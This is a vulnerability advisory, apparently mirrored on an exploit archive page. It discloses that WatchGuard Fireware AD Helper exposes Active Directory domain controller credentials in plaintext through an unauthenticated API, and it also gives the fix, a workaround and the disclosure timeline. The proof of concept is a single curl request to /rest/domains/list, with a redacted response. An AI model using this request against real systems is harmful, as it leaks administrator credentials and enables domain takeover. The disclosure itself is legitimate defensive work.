exploit the possibilities

WatchGuard Fireware AD Helper 5.8.5.10317 Credential Disclosure

WatchGuard Fireware AD Helper 5.8.5.10317 Credential Disclosure
Posted Mar 12, 2020
Site redteam-pentesting.de

WatchGuard Fireware AD Helper component version 5.8.5.10317 suffers from a credential disclosure vulnerability.

tags | exploit
MD5 | fd0cd62fdc029274c4f86ae061ef62e0

WatchGuard Fireware AD Helper 5.8.5.10317 Credential Disclosure

Change Mirror Download
# Exploit: WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure 
# Author: RedTeam Pentesting GmbH
# Date: 2020-03-11
# Vendor: https://www.watchguard.com
# Software link: https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html
# CVE: N/A

Advisory: Credential Disclosure in WatchGuard Fireware AD Helper Component

RedTeam Pentesting discovered a credential-disclosure vulnerability in
the AD Helper component of the WatchGuard Fireware Threat Detection and
Response (TDR) service, which allows unauthenticated attackers to gain
Active Directory credentials for a Windows domain in plaintext.


Details
=======

Product: WatchGuard Fireware AD Helper Component
Affected Versions: 5.8.5.10233, < 5.8.5.10317
Fixed Versions: 5.8.5.10317
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-001
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"Threat Detection and Response (TDR) is a cloud-based subscription
service that integrates with your Firebox to minimize the consequences
of data breaches and penetrations through early detection and automated
remediation of security threats."

"Threat Detection and Response includes the AD Helper component. If your
network has an Active Directory server, you can install AD Helper to
manage automated installation and updates of Host Sensors on your
network."

(from the vendor's homepage)


More Details
============

By accessing the AD Helper's web interface, it was discovered that a
call to an API endpoint is made, which responds with plaintext
credentials to all configured domain controllers. There is no
authentication needed to use the described interface and the
installation instructions at [1] contain no indication of any way to
configure access control.


Proof of Concept
================

An HTTP GET request to the path "/domains/list" of the AD Helper
API returns, among others, the plaintext credentials to
all configured Windows domain controllers:

------------------------------------------------------------------------
$ curl --silent "http://adhelper.example.com:8080/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc" | jq .

{
"content": [
{
"id": 1,
"fullyQualifiedName": "example.com",
"logonDomain": "example.com",
"domainControllers": "dc1.example.com",
"username": "[DOMAIN_USER]",
"password": "[DOMAIN_PASSWORD]",
"uuid": "[...]",
"servers": [
{
[...]
}
]
}
],
"totalPages": 1,
"totalElements": 1,
"number": 0,
"numberOfElements": 1
}
------------------------------------------------------------------------

The same request and its response can be observed when initially accessing
the web interface. The discovered version of AD Helper responds with
the following server banner:

------------------------------------------------------------------------
jetty(winstone-5.8.5.10233-9.4.12.v20180830)
------------------------------------------------------------------------

It is likely that other versions of the AD Helper Component are
vulnerable as well.


Workaround
==========

Ensure API of the AD Helper Component is not reachable over the network,
for example by putting it behind a Firewall.


Fix
===

Update to Version 5.8.5.10317 or later.


Security Risk
=============

No authentication is needed to access AD Helper's web interface and the
installation instructions at [1] describe that configured domain user
accounts must possess at least the following privileges:

* Connect to the host
* Mount the share ADMIN$
* Create a file on the host
* Execute commands on the host
* Install software on the host

Access to the "ADMIN$" share implies a user with administrative
privileges. Therefore, this vulnerability poses a high risk.


Timeline
========

2020-02-12 Vulnerability identified
2020-02-19 Customer approved disclosure to vendor
2020-02-24 Tried to contact the German branch of WatchGuard
2020-02-27 Contacted the Dutch branch of WatchGuard
2020-02-28 Contact to ADHelper QA Team Lead established
2020-03-02 Advisory draft sent for verification
2020-03-10 Vendor released fixed version and blog post
2020-03-11 CVE ID requested
2020-03-11 Advisory released


References
==========

[1] https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close